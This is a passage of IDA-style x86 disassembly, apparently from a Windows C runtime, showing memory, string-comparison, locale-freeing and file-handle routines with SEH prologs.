2 jz short loc_41C3CB rep stosd test edx, edx jz short loc_41C3D5 loc_41C3CB: ; CODE XREF: sub_41C380+18j ; sub_41C380+43j ... mov [edi], al add edi, 1 sub edx, 1 jnz short loc_41C3CB loc_41C3D5: ; CODE XREF: sub_41C380+49j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C3DB: ; CODE XREF: sub_41C380+Aj mov eax, [esp+arg_0] retn sub_41C380 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C3E0 proc near ; CODE XREF: sub_41787B+60p ; sub_41AA66+A4p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push 1Ch push offset stru_429920 call __SEH_prolog xor esi, esi cmp dword_47C4A4, esi jnz short loc_41C42B lea eax, [ebp+var_1C] push eax xor edi, edi inc edi push edi push offset dword_429080 push edi call ds:dword_420154 ; GetStringTypeW test eax, eax jz short loc_41C416 mov dword_47C4A4, edi jmp short loc_41C42B ; --------------------------------------------------------------------------- loc_41C416: ; CODE XREF: sub_41C3E0+2Cj call ds:dword_420008 ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_41C42B mov dword_47C4A4, 2 loc_41C42B: ; CODE XREF: sub_41C3E0+14j ; sub_41C3E0+34j ... mov eax, dword_47C4A4 cmp eax, 2 jz loc_41C523 cmp eax, esi jz loc_41C523 cmp eax, 1 jnz loc_41C549 mov [ebp+var_20], esi mov [ebp+var_24], esi cmp [ebp+arg_10], esi jnz short loc_41C45D mov eax, dword_47C4F0 mov [ebp+arg_10], eax loc_41C45D: ; CODE XREF: sub_41C3E0+73j push esi push esi push [ebp+arg_8] push [ebp+arg_4] xor eax, eax cmp [ebp+arg_18], esi setnz al lea eax, ds:1[eax*8] push eax push [ebp+arg_10] call ds:dword_4200D4 ; MultiByteToWideChar mov edi, eax mov [ebp+var_28], edi test edi, edi jz loc_41C549 and [ebp+ms_exc.disabled], 0 lea ebx, [edi+edi] mov eax, ebx add eax, 3 and eax, 0FFFFFFFCh call sub_414630 mov [ebp+ms_exc.old_esp], esp mov esi, esp mov [ebp+var_2C], esi push ebx push 0 push esi call sub_41C380 add esp, 0Ch or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp short loc_41C4CE ; --------------------------------------------------------------------------- loc_41C4B9: ; DATA XREF: .rdata:stru_429920o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_41C4BD: ; DATA XREF: .rdata:stru_429920o mov esp, [ebp+ms_exc.old_esp] call sub_419B68 xor esi, esi or [ebp+ms_exc.disabled], 0FFFFFFFFh mov edi, [ebp+var_28] loc_41C4CE: ; CODE XREF: sub_41C3E0+D7j test esi, esi jnz short loc_41C4E9 push edi push 2 call sub_41C0B0 pop ecx pop ecx mov esi, eax test esi, esi jz short loc_41C549 mov [ebp+var_24], 1 loc_41C4E9: ; CODE XREF: sub_41C3E0+F0j push edi push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call ds:dword_4200D4 ; MultiByteToWideChar test eax, eax jz short loc_41C511 push [ebp+arg_C] push eax push esi push [ebp+arg_0] call ds:dword_420154 ; GetStringTypeW mov [ebp+var_20], eax loc_41C511: ; CODE XREF: sub_41C3E0+11Ej cmp [ebp+var_24], 0 jz short loc_41C51E push esi call sub_414844 pop ecx loc_41C51E: ; CODE XREF: sub_41C3E0+135j mov eax, [ebp+var_20] jmp short loc_41C591 ; --------------------------------------------------------------------------- loc_41C523: ; CODE XREF: sub_41C3E0+53j ; sub_41C3E0+5Bj mov ebx, [ebp+arg_14] cmp ebx, esi jnz short loc_41C530 mov ebx, dword_47C4E0 loc_41C530: ; CODE XREF: sub_41C3E0+148j mov edi, [ebp+arg_10] test edi, edi jnz short loc_41C53D mov edi, dword_47C4F0 loc_41C53D: ; CODE XREF: sub_41C3E0+155j push ebx call sub_41DD87 pop ecx cmp eax, 0FFFFFFFFh jnz short loc_41C54D loc_41C549: ; CODE XREF: sub_41C3E0+64j ; sub_41C3E0+A5j ... xor eax, eax jmp short loc_41C591 ; --------------------------------------------------------------------------- loc_41C54D: ; CODE XREF: sub_41C3E0+167j cmp eax, edi jz short loc_41C56F push 0 push 0 lea ecx, [ebp+arg_8] push ecx push [ebp+arg_4] push eax push edi call sub_41DDD0 add esp, 18h mov esi, eax test esi, esi jz short loc_41C549 mov [ebp+arg_4], esi loc_41C56F: ; CODE XREF: sub_41C3E0+16Fj push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push ebx call ds:dword_4201D4 ; GetStringTypeA mov edi, eax test esi, esi jz short loc_41C58F push esi call sub_414844 pop ecx loc_41C58F: ; CODE XREF: sub_41C3E0+1A6j mov eax, edi loc_41C591: ; CODE XREF: sub_41C3E0+141j ; sub_41C3E0+16Bj lea esp, [ebp-38h] call __SEH_epilog retn sub_41C3E0 endp ; =============== S U B R O U T I N E ======================================= sub_41C59A proc near ; CODE XREF: sub_4178F2+B1p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz loc_41C728 push dword ptr [esi+4] call sub_414844 push dword ptr [esi+8] call sub_414844 push dword ptr [esi+0Ch] call sub_414844 push dword ptr [esi+10h] call sub_414844 push dword ptr [esi+14h] call sub_414844 push dword ptr [esi+18h] call sub_414844 push dword ptr [esi] call sub_414844 push dword ptr [esi+20h] call sub_414844 push dword ptr [esi+24h] call sub_414844 push dword ptr [esi+28h] call sub_414844 push dword ptr [esi+2Ch] call sub_414844 push dword ptr [esi+30h] call sub_414844 push dword ptr [esi+34h] call sub_414844 push dword ptr [esi+1Ch] call sub_414844 push dword ptr [esi+38h] call sub_414844 push dword ptr [esi+3Ch] call sub_414844 add esp, 40h push dword ptr [esi+40h] call sub_414844 push dword ptr [esi+44h] call sub_414844 push dword ptr [esi+48h] call sub_414844 push dword ptr [esi+4Ch] call sub_414844 push dword ptr [esi+50h] call sub_414844 push dword ptr [esi+54h] call sub_414844 push dword ptr [esi+58h] call sub_414844 push dword ptr [esi+5Ch] call sub_414844 push dword ptr [esi+60h] call sub_414844 push dword ptr [esi+64h] call sub_414844 push dword ptr [esi+68h] call sub_414844 push dword ptr [esi+6Ch] call sub_414844 push dword ptr [esi+70h] call sub_414844 push dword ptr [esi+74h] call sub_414844 push dword ptr [esi+78h] call sub_414844 push dword ptr [esi+7Ch] call sub_414844 add esp, 40h push dword ptr [esi+80h] call sub_414844 push dword ptr [esi+84h] call sub_414844 push dword ptr [esi+88h] call sub_414844 push dword ptr [esi+8Ch] call sub_414844 push dword ptr [esi+90h] call sub_414844 push dword ptr [esi+94h] call sub_414844 push dword ptr [esi+98h] call sub_414844 push dword ptr [esi+9Ch] call sub_414844 push dword ptr [esi+0A0h] call sub_414844 push dword ptr [esi+0A4h] call sub_414844 push dword ptr [esi+0A8h] call sub_414844 add esp, 2Ch loc_41C728: ; CODE XREF: sub_41C59A+7j pop esi retn sub_41C59A endp ; =============== S U B R O U T I N E ======================================= sub_41C72A proc near ; CODE XREF: sub_4178F2+5Dp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_41C787 mov eax, [esi] mov ecx, off_42E204 cmp eax, [ecx] jz short loc_41C74E cmp eax, off_42E1D4 jz short loc_41C74E push eax call sub_414844 pop ecx loc_41C74E: ; CODE XREF: sub_41C72A+13j ; sub_41C72A+1Bj mov eax, [esi+4] mov ecx, off_42E204 cmp eax, [ecx+4] jz short loc_41C76B cmp eax, off_42E1D8 jz short loc_41C76B push eax call sub_414844 pop ecx loc_41C76B: ; CODE XREF: sub_41C72A+30j ; sub_41C72A+38j mov esi, [esi+8] mov eax, off_42E204 cmp esi, [eax+8] jz short loc_41C787 cmp esi, off_42E1DC jz short loc_41C787 push esi call sub_414844 pop ecx loc_41C787: ; CODE XREF: sub_41C72A+7j ; sub_41C72A+4Cj ... pop esi retn sub_41C72A endp ; =============== S U B R O U T I N E ======================================= sub_41C789 proc near ; CODE XREF: sub_4178F2+3Ap arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz loc_41C860 mov eax, [esi+0Ch] mov ecx, off_42E204 cmp eax, [ecx+0Ch] jz short loc_41C7B3 cmp eax, off_42E1E0 jz short loc_41C7B3 push eax call sub_414844 pop ecx loc_41C7B3: ; CODE XREF: sub_41C789+19j ; sub_41C789+21j mov eax, [esi+10h] mov ecx, off_42E204 cmp eax, [ecx+10h] jz short loc_41C7D0 cmp eax, off_42E1E4 jz short loc_41C7D0 push eax call sub_414844 pop ecx loc_41C7D0: ; CODE XREF: sub_41C789+36j ; sub_41C789+3Ej mov eax, [esi+14h] mov ecx, off_42E204 cmp eax, [ecx+14h] jz short loc_41C7ED cmp eax, off_42E1E8 jz short loc_41C7ED push eax call sub_414844 pop ecx loc_41C7ED: ; CODE XREF: sub_41C789+53j ; sub_41C789+5Bj mov eax, [esi+18h] mov ecx, off_42E204 cmp eax, [ecx+18h] jz short loc_41C80A cmp eax, off_42E1EC jz short loc_41C80A push eax call sub_414844 pop ecx loc_41C80A: ; CODE XREF: sub_41C789+70j ; sub_41C789+78j mov eax, [esi+1Ch] mov ecx, off_42E204 cmp eax, [ecx+1Ch] jz short loc_41C827 cmp eax, off_42E1F0 jz short loc_41C827 push eax call sub_414844 pop ecx loc_41C827: ; CODE XREF: sub_41C789+8Dj ; sub_41C789+95j mov eax, [esi+20h] mov ecx, off_42E204 cmp eax, [ecx+20h] jz short loc_41C844 cmp eax, off_42E1F4 jz short loc_41C844 push eax call sub_414844 pop ecx loc_41C844: ; CODE XREF: sub_41C789+AAj ; sub_41C789+B2j mov esi, [esi+24h] mov eax, off_42E204 cmp esi, [eax+24h] jz short loc_41C860 cmp esi, off_42E1F8 jz short loc_41C860 push esi call sub_414844 pop ecx loc_41C860: ; CODE XREF: sub_41C789+7j ; sub_41C789+C6j ... pop esi retn sub_41C789 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push esi xor eax, eax push eax push eax push eax push eax push eax push eax push eax push eax mov edx, [ebp+0Ch] lea ecx, [ecx+0] loc_41C884: ; CODE XREF: .text:0041C891j mov al, [edx] or al, al jz short loc_41C893 add edx, 1 bts [esp], eax jmp short loc_41C884 ; --------------------------------------------------------------------------- loc_41C893: ; CODE XREF: .text:0041C888j mov esi, [ebp+8] or ecx, 0FFFFFFFFh lea ecx, [ecx+0] loc_41C89C: ; CODE XREF: .text:0041C8ACj add ecx, 1 mov al, [esi] or al, al jz short loc_41C8AE add esi, 1 bt [esp], eax jnb short loc_41C89C loc_41C8AE: ; CODE XREF: .text:0041C8A3j mov eax, ecx add esp, 20h pop esi leave retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C8C0 proc near ; CODE XREF: sub_41A034+1Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41C90C loc_41C8D0: ; CODE XREF: sub_41C8C0+3Cj ; sub_41C8C0+6Aj ... mov eax, [edx] cmp al, [ecx] jnz short loc_41C904 or al, al jz short loc_41C900 cmp ah, [ecx+1] jnz short loc_41C904 or ah, ah jz short loc_41C900 shr eax, 10h cmp al, [ecx+2] jnz short loc_41C904 or al, al jz short loc_41C900 cmp ah, [ecx+3] jnz short loc_41C904 add ecx, 4 add edx, 4 or ah, ah jnz short loc_41C8D0 mov edi, edi loc_41C900: ; CODE XREF: sub_41C8C0+18j ; sub_41C8C0+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_41C904: ; CODE XREF: sub_41C8C0+14j ; sub_41C8C0+1Dj ... sbb eax, eax shl eax, 1 add eax, 1 retn ; --------------------------------------------------------------------------- loc_41C90C: ; CODE XREF: sub_41C8C0+Ej test edx, 1 jz short loc_41C92C mov al, [edx] add edx, 1 cmp al, [ecx] jnz short loc_41C904 add ecx, 1 or al, al jz short loc_41C900 test edx, 2 jz short loc_41C8D0 loc_41C92C: ; CODE XREF: sub_41C8C0+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_41C904 or al, al jz short loc_41C900 cmp ah, [ecx+1] jnz short loc_41C904 or ah, ah jz short loc_41C900 add ecx, 2 jmp short loc_41C8D0 sub_41C8C0 endp ; --------------------------------------------------------------------------- align 10h mov eax, [esp+0Ch] test eax, eax jz short locret_41C9A2 mov edx, [esp+4] push esi push edi mov esi, edx mov edi, [esp+10h] or edx, edi and edx, 3 jz short loc_41C9A3 test eax, 1 jz short loc_41C983 mov cl, [esi] cmp cl, [edi] jnz short loc_41C9D0 add esi, 1 add edi, 1 sub eax, 1 jz short loc_41C9A0 loc_41C983: ; CODE XREF: .text:0041C970j ; .text:0041C99Ej mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41C9D0 mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41C9D0 add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41C983 loc_41C9A0: ; CODE XREF: .text:0041C981j ; .text:0041C9DAj pop edi pop esi locret_41C9A2: ; CODE XREF: .text:0041C956j retn ; --------------------------------------------------------------------------- loc_41C9A3: ; CODE XREF: .text:0041C969j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_41C9D8 repe cmpsd jz short loc_41C9D8 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_41C9CB cmp ch, dh jnz short loc_41C9CB shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_41C9CB cmp ch, dh loc_41C9CB: ; CODE XREF: .text:0041C9B9j ; .text:0041C9BDj ... mov eax, 0 loc_41C9D0: ; CODE XREF: .text:0041C976j ; .text:0041C989j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41C9D8: ; CODE XREF: .text:0041C9ABj ; .text:0041C9AFj test eax, eax jz short loc_41C9A0 mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_41C9CB sub eax, 1 jz short loc_41CA05 cmp dh, ch jnz short loc_41C9CB sub eax, 1 jz short loc_41CA05 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_41C9CB sub eax, 1 loc_41CA05: ; CODE XREF: .text:0041C9E7j ; .text:0041C9F0j pop edi pop esi retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push esi xor eax, eax push eax push eax push eax push eax push eax push eax push eax push eax mov edx, [ebp+0Ch] lea ecx, [ecx+0] loc_41CA24: ; CODE XREF: .text:0041CA31j mov al, [edx] or al, al jz short loc_41CA33 add edx, 1 bts [esp], eax jmp short loc_41CA24 ; --------------------------------------------------------------------------- loc_41CA33: ; CODE XREF: .text:0041CA28j mov esi, [ebp+8] mov edi, edi loc_41CA38: ; CODE XREF: .text:0041CA45j mov al, [esi] or al, al jz short loc_41CA4A add esi, 1 bt [esp], eax jnb short loc_41CA38 lea eax, [esi-1] loc_41CA4A: ; CODE XREF: .text:0041CA3Cj add esp, 20h pop esi leave retn ; =============== S U B R O U T I N E ======================================= sub_41CA50 proc near ; CODE XREF: sub_41D38D+220p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] cmp ecx, dword_47C638 push esi push edi jnb short loc_41CAB3 mov eax, ecx sar eax, 5 lea edi, ds:47C640h[eax*4] mov eax, ecx and eax, 1Fh lea esi, [eax+eax*8] mov eax, [edi] shl esi, 2 cmp dword ptr [esi+eax], 0FFFFFFFFh jnz short loc_41CAB3 cmp dword_42D7D4, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_41CAA9 sub ecx, 0 jz short loc_41CAA0 dec ecx jz short loc_41CA9B dec ecx jnz short loc_41CAA9 push ebx push 0FFFFFFF4h jmp short loc_41CAA3 ; --------------------------------------------------------------------------- loc_41CA9B: ; CODE XREF: sub_41CA50+41j push ebx push 0FFFFFFF5h jmp short loc_41CAA3 ; --------------------------------------------------------------------------- loc_41CAA0: ; CODE XREF: sub_41CA50+3Ej push ebx push 0FFFFFFF6h loc_41CAA3: ; CODE XREF: sub_41CA50+49j ; sub_41CA50+4Ej call ds:dword_420150 ; SetStdHandle loc_41CAA9: ; CODE XREF: sub_41CA50+39j ; sub_41CA50+44j mov eax, [edi] mov [esi+eax], ebx xor eax, eax pop ebx jmp short loc_41CAC9 ; --------------------------------------------------------------------------- loc_41CAB3: ; CODE XREF: sub_41CA50+Cj ; sub_41CA50+2Bj call sub_419430 mov dword ptr [eax], 9 call sub_419439 and dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_41CAC9: ; CODE XREF: sub_41CA50+61j pop edi pop esi retn sub_41CA50 endp ; =============== S U B R O U T I N E ======================================= sub_41CACC proc near ; CODE XREF: sub_417AB9+51p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp ecx, dword_47C638 push esi push edi jnb short loc_41CB32 mov eax, ecx sar eax, 5 lea edi, ds:47C640h[eax*4] mov eax, ecx and eax, 1Fh lea esi, [eax+eax*8] mov eax, [edi] shl esi, 2 add eax, esi test byte ptr [eax+4], 1 jz short loc_41CB32 cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41CB32 cmp dword_42D7D4, 1 jnz short loc_41CB28 xor eax, eax sub ecx, eax jz short loc_41CB1F dec ecx jz short loc_41CB1A dec ecx jnz short loc_41CB28 push eax push 0FFFFFFF4h jmp short loc_41CB22 ; --------------------------------------------------------------------------- loc_41CB1A: ; CODE XREF: sub_41CACC+44j push eax push 0FFFFFFF5h jmp short loc_41CB22 ; --------------------------------------------------------------------------- loc_41CB1F: ; CODE XREF: sub_41CACC+41j push eax push 0FFFFFFF6h loc_41CB22: ; CODE XREF: sub_41CACC+4Cj ; sub_41CACC+51j call ds:dword_420150 ; SetStdHandle loc_41CB28: ; CODE XREF: sub_41CACC+3Bj ; sub_41CACC+47j mov eax, [edi] or dword ptr [esi+eax], 0FFFFFFFFh xor eax, eax jmp short loc_41CB48 ; --------------------------------------------------------------------------- loc_41CB32: ; CODE XREF: sub_41CACC+Cj ; sub_41CACC+2Dj ... call sub_419430 mov dword ptr [eax], 9 call sub_419439 and dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_41CB48: ; CODE XREF: sub_41CACC+64j pop edi pop esi retn sub_41CACC endp ; =============== S U B R O U T I N E ======================================= sub_41CB4B proc near ; CODE XREF: sub_417AB9+7p ; sub_417AB9+1Ep ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_47C638 jnb short loc_41CB75 mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_47C640[ecx*4] lea eax, [eax+eax*8] lea eax, [ecx+eax*4] test byte ptr [eax+4], 1 jz short loc_41CB75 mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_41CB75: ; CODE XREF: sub_41CB4B+Aj ; sub_41CB4B+25j call sub_419430 mov dword ptr [eax], 9 call sub_419439 and dword ptr [eax], 0 or eax, 0FFFFFFFFh retn sub_41CB4B endp ; =============== S U B R O U T I N E ======================================= sub_41CB8C proc near ; CODE XREF: sub_417B3C+38p ; sub_418EB7+38p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx push esi mov ecx, eax sar ecx, 5 and eax, 1Fh push edi lea ebx, ds:47C640h[ecx*4] mov esi, [ebx] lea edi, [eax+eax*8] shl edi, 2 add esi, edi cmp dword ptr [esi+8], 0 jnz short loc_41CBEB push 0Ah call sub_4180B5 cmp dword ptr [esi+8], 0 pop ecx jnz short loc_41CBE3 lea eax, [esi+0Ch] push 0FA0h push eax call sub_41CFB8 test eax, eax pop ecx pop ecx jnz short loc_41CBE0 push 0Ah call sub_418021 pop ecx xor eax, eax jmp short loc_41CBFB ; --------------------------------------------------------------------------- loc_41CBE0: ; CODE XREF: sub_41CB8C+46j inc dword ptr [esi+8] loc_41CBE3: ; CODE XREF: sub_41CB8C+32j push 0Ah call sub_418021 pop ecx loc_41CBEB: ; CODE XREF: sub_41CB8C+24j mov eax, [ebx] lea eax, [eax+edi+0Ch] push eax call ds:dword_42001C ; RtlEnterCriticalSection xor eax, eax inc eax loc_41CBFB: ; CODE XREF: sub_41CB8C+52j pop edi pop esi pop ebx retn sub_41CB8C endp ; =============== S U B R O U T I N E ======================================= sub_41CBFF proc near ; CODE XREF: sub_417BB3+1p ; sub_418F3E+1p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_47C640[ecx*4] lea eax, [eax+eax*8] lea eax, [ecx+eax*4+0Ch] push eax call ds:dword_420018 ; RtlLeaveCriticalSection retn sub_41CBFF endp ; =============== S U B R O U T I N E ======================================= sub_41CC21 proc near ; CODE XREF: sub_41D38D:loc_41D521p var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx push ebp push 0Bh or ebp, 0FFFFFFFFh call sub_418036 test eax, eax pop ecx jz loc_41CD68 push ebx push esi push edi push 0Bh call sub_4180B5 xor ebx, ebx pop ecx mov [esp+18h+var_8], ebx mov [esp+18h+var_4], ebx mov edi, offset dword_47C640 loc_41CC51: ; CODE XREF: sub_41CC21+D5j mov esi, [edi] test esi, esi jz loc_41CD08 lea eax, [esi+480h] jmp short loc_41CCC1 ; --------------------------------------------------------------------------- loc_41CC63: ; CODE XREF: sub_41CC21+A2j test byte ptr [esi+4], 1 jnz short loc_41CCB7 cmp dword ptr [esi+8], 0 jnz short loc_41CC9C push 0Ah call sub_4180B5 cmp dword ptr [esi+8], 0 pop ecx jnz short loc_41CC94 lea eax, [esi+0Ch] push 0FA0h push eax call sub_41CFB8 test eax, eax pop ecx pop ecx jz short loc_41CCFE inc dword ptr [esi+8] loc_41CC94: ; CODE XREF: sub_41CC21+5Aj push 0Ah call sub_418021 pop ecx loc_41CC9C: ; CODE XREF: sub_41CC21+4Cj lea ebx, [esi+0Ch] push ebx call ds:dword_42001C ; RtlEnterCriticalSection test byte ptr [esi+4], 1 jz short loc_41CCC7 push ebx call ds:dword_420018 ; RtlLeaveCriticalSection mov ebx, [esp+18h+var_8] loc_41CCB7: ; CODE XREF: sub_41CC21+46j mov eax, [edi] add esi, 24h add eax, 480h loc_41CCC1: ; CODE XREF: sub_41CC21+40j cmp esi, eax jb short loc_41CC63 jmp short loc_41CCE3 ; --------------------------------------------------------------------------- loc_41CCC7: ; CODE XREF: sub_41CC21+89j or dword ptr [esi], 0FFFFFFFFh mov eax, esi sub eax, [edi] push 24h cdq pop ecx idiv ecx mov ebp, eax add ebp, [esp+18h+var_4] cmp ebp, 0FFFFFFFFh jnz short loc_41CD5D mov ebx, [esp+18h+var_8] loc_41CCE3: ; CODE XREF: sub_41CC21+A4j add [esp+18h+var_4], 20h inc ebx add edi, 4 cmp edi, offset dword_47C740 mov [esp+18h+var_8], ebx jl loc_41CC51 jmp short loc_41CD5D ; --------------------------------------------------------------------------- loc_41CCFE: ; CODE XREF: sub_41CC21+6Ej push 0Ah call sub_418021 pop ecx jmp short loc_41CD5A ; --------------------------------------------------------------------------- loc_41CD08: ; CODE XREF: sub_41CC21+34j mov esi, 480h push esi call sub_414CAD test eax, eax pop ecx jz short loc_41CD5D add dword_47C638, 20h lea ecx, ds:47C640h[ebx*4] mov [ecx], eax lea edx, [eax+480h] jmp short loc_41CD46 ; --------------------------------------------------------------------------- loc_41CD30: ; CODE XREF: sub_41CC21+127j and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh and dword ptr [eax+8], 0 mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 24h add edx, esi loc_41CD46: ; CODE XREF: sub_41CC21+10Dj cmp eax, edx jb short loc_41CD30 shl ebx, 5 mov ebp, ebx push ebp call sub_41CB8C test eax, eax pop ecx jnz short loc_41CD5D loc_41CD5A: ; CODE XREF: sub_41CC21+E5j or ebp, 0FFFFFFFFh loc_41CD5D: ; CODE XREF: sub_41CC21+BCj ; sub_41CC21+DBj ... push 0Bh call sub_418021 pop ecx pop edi pop esi pop ebx loc_41CD68: ; CODE XREF: sub_41CC21+10j mov eax, ebp pop ebp pop ecx pop ecx retn sub_41CC21 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CD6E proc near ; CODE XREF: sub_417C5F+1Ep var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 0041CE16 SIZE 00000014 BYTES push 0Ch push offset stru_429A48 call __SEH_prolog mov ebx, [ebp+arg_0] cmp ebx, dword_47C638 jnb loc_41CE16 mov eax, ebx sar eax, 5 lea edi, ds:47C640h[eax*4] mov eax, ebx and eax, 1Fh lea esi, [eax+eax*8] shl esi, 2 mov eax, [edi] test byte ptr [eax+esi+4], 1 jz short loc_41CE16 push ebx call sub_41CB8C pop ecx and [ebp+ms_exc.disabled], 0 mov eax, [edi] test byte ptr [eax+esi+4], 1 jz short loc_41CDEE push ebx call sub_41CB4B pop ecx push eax call ds:dword_42014C ; FlushFileBuffers test eax, eax jnz short loc_41CDDA call ds:dword_420008 ; RtlGetLastWin32Error mov [ebp+var_1C], eax jmp short loc_41CDDE ; --------------------------------------------------------------------------- loc_41CDDA: ; CODE XREF: sub_41CD6E+5Fj and [ebp+var_1C], 0 loc_41CDDE: ; CODE XREF: sub_41CD6E+6Aj cmp [ebp+var_1C], 0 jz short loc_41CDFD call sub_419439 mov ecx, [ebp+var_1C] mov [eax], ecx loc_41CDEE: ; CODE XREF: sub_41CD6E+4Dj call sub_419430 mov dword ptr [eax], 9 or [ebp+var_1C], 0FFFFFFFFh loc_41CDFD: ; CODE XREF: sub_41CD6E+74j or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41CE0E mov eax, [ebp+var_1C] jmp short loc_41CE24 sub_41CD6E endp ; =============== S U B R O U T I N E ======================================= sub_41CE0B proc near ; DATA XREF: .rdata:stru_429A48o mov ebx, [ebp+8] sub_41CE0B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41CE0E proc near ; CODE XREF: sub_41CD6E+93p push ebx call sub_41CBFF pop ecx retn sub_41CE0E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41CD6E loc_41CE16: ; CODE XREF: sub_41CD6E+15j ; sub_41CD6E+39j call sub_419430 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh loc_41CE24: ; CODE XREF: sub_41CD6E+9Bj call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_41CD6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_417E14 loc_41CE2A: ; CODE XREF: sub_417E14+Ej push 10h push offset stru_429A58 call __SEH_prolog xor ebx, ebx mov [ebp-1Ch], ebx push 1 call sub_4180B5 pop ecx mov [ebp-4], ebx push 3 pop edi loc_41CE49: ; CODE XREF: sub_417E14+5094j mov [ebp-20h], edi cmp edi, dword_47D9C0 jge short loc_41CEAA mov esi, edi shl esi, 2 mov eax, dword_47C9A4 mov eax, [esi+eax] cmp eax, ebx jz short loc_41CEA7 test byte ptr [eax+0Ch], 83h jz short loc_41CE7A push eax call sub_4147F3 pop ecx cmp eax, 0FFFFFFFFh jz short loc_41CE7A inc dword ptr [ebp-1Ch] loc_41CE7A: ; CODE XREF: sub_417E14+5055j ; sub_417E14+5061j cmp edi, 14h jl short loc_41CEA7 mov eax, dword_47C9A4 mov eax, [esi+eax] add eax, 20h push eax call ds:dword_420024 ; RtlDeleteCriticalSection mov eax, dword_47C9A4 push dword ptr [esi+eax] call sub_414844 pop ecx mov eax, dword_47C9A4 mov [esi+eax], ebx loc_41CEA7: ; CODE XREF: sub_417E14+504Fj ; sub_417E14+5069j inc edi jmp short loc_41CE49 ; --------------------------------------------------------------------------- loc_41CEAA: ; CODE XREF: sub_417E14+503Ej or dword ptr [ebp-4], 0FFFFFFFFh call sub_41CEBC mov eax, [ebp-1Ch] call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_417E14 ; =============== S U B R O U T I N E ======================================= sub_41CEBC proc near ; CODE XREF: sub_417E14+509Ap ; DATA XREF: .rdata:stru_429A58o push 1 call sub_418021 pop ecx retn sub_41CEBC endp ; --------------------------------------------------------------------------- align 4 push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CED0 proc near ; DATA XREF: __SEH_prologo var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_41CF70 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_41CF03: ; CODE XREF: sub_41CED0+90j cmp esi, 0FFFFFFFFh jz short loc_41CF69 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_41CF57 push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_41CF57 js short loc_41CF62 mov edi, [ebx+8] push ebx call sub_4157A0 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_4157E2 add esp, 8 lea 